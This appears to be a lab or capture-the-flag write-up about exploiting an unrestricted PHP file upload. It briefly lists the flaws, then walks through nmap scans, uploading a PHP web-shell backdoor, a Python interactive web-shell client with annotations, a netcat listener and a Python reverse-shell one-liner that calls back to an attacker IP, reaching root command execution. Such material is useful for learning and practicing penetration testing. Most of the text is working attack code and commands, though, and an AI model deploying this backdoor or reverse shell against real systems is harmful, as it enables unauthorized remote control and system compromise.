ARBITRARY FILE UPLOAD
Allowing unrestricted file uploads can lead to remote code execution (RCE) and complete system compromise. below are the flaws that contribute to arbitrary file upload
Unrestricted File Upload – The application allows arbitrary file uploads, including PHP scripts, without proper validation or restrictions.
MIME Type Misconfiguration – The uploaded file retains its PHP MIME type (application/x-php), indicating no enforcement of safe content types (e.g., application/octet-stream or text/plain).
Extension Bypass Possibility – There is no restriction on file extensions, allowing direct .php uploads. Attackers could also try bypasses such as .jpg.php or .PHP.
Lack of Content Inspection – No checks (e.g., file_get_contents()) appear to be in place to detect embedded PHP code.
Disclosure of Upload Path – The server reveals the exact location of the uploaded file (/uploads/backdoor.php), aiding attackers in execution.
root@oco:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3001/tcp open http PHP cli server 5.5 or later
|_http-title: Login
3002/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3003/tcp open http PHP cli server 5.5 or later (PHP 7.4.3)
root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000,3001,3002,3003
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
3002/tcp open exlm-agent
3003/tcp open cgms
root@oco:~$ BROWSER > http://10.129.202.133:3001/
* anonymous file upload in the open
root@oco:~$ nano backdoor.php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
root@oco:~$ BROWSER > http://10.129.202.133:3001
Anonymous upload: backdoor.php
Your file is uploaded to /uploads/backdoor.php
root@oco:~$ nano webShell.py
import argparse, time, requests, os
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs")
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True)
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload")
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes")
args = parser.parse_args()
if args.target == None and args.payload == None:
parser.print_help()
elif args.target and args.payload:
print(requests.get(args.target+"/?cmd="+args.payload).text)
if args.target and args.option == "yes":
os.system("clear") # clear the screen (linux)
while True:
try:
cmd = input("$ ")
print(requests.get(args.target+"/?cmd="+cmd).text)
time.sleep(0.3) # waits 0.3 seconds during each request
except requests.exceptions.InvalidSchema:
print("Invalid URL Schema: http:// or https://")
except requests.exceptions.ConnectionError:
print("URL is invalid")
* # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
* partse = argparse.ArgumentParser(): # generates a variable called parser and uses argparse to create a description
* # specifies flags such as -t for a target with a help and required option being true
* args... # defines args as a variable holding the values of the above arguments so we can do args.option for example.
* # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
* # shows help menu
* # elif (if they both have values do some action)
* ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
* # if the target option is set and args.option is set to yes (for a full interactive shell)
* # starts a while loop (never ending loop)
* # defines a cmd variable for an input() function which our user will enter
* # same as above except with our input() function value
#interactive method
root@oco:~$ nc -nlvp 8088
root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
$ python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.45",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
root@oco:~$ nc...
# uname -a
Linux nix01-websvc 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
#alternative methods
#method 1: non-interactive - single cmd execution (CLI)
root@oco:~$ python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes
$ id
uid=0(root) gid=0(root) groups=0(root)
#method 2: non-interactive - single cmd execution (BROWSER)
BROWSER > http://10.129.202.133:3001/uploads/backdoor.php?cmd=%27ls%27
* add ?cmd={id}
Last updated